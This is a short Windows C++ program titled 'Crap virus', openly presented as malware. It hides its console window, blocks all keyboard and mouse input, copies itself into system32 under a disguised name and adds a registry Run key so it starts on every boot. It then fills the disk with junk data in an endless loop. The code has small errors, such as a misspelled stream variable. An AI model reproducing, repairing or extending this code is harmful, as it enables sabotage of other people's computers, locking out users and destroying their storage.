Crap virus

#include <stdlib>
#include <fstream>
using namespace std;
#include <windows.h>
#include <winable.h>
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
//Hide the window, so that the user can't exit the proggy
HWND wnd=FindWindow("ConsoleWindowClass",NULL);
ShowWindow(wnd,SW_HIDE);
//Block all user input >=)
BlockInput(true);
//Autostart
char windir[MAX_PATH];
char currentfile[MAX_PATH];
HMODULE Me=GetModuleHandle(NULL);
GetModuleFileName(Me, currentfile, sizeof(currentfile));
GetWindowsDirectory(windir, sizeof(windir));
strcat(windir, "\\system32\\sysbackup.exe");
CopyFile(currentfile, windir, false);
HKEY hkey;
RegCreateKey (HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
RegSetValueEx (hkey, "Microsoft CrapWare", 0, REG_SZ, (LPBYTE)windir, sizeof(windir));
//Eat free space
ofstream file;
file.open("╚a.exe");
while(1)
{
fille<<"afdsghfdsfdhfhdsagh3rhhfdhdsahahh43h5gfnm454hjjsdhsafdgfdhgfher44gfd\n";
}
return 0;
}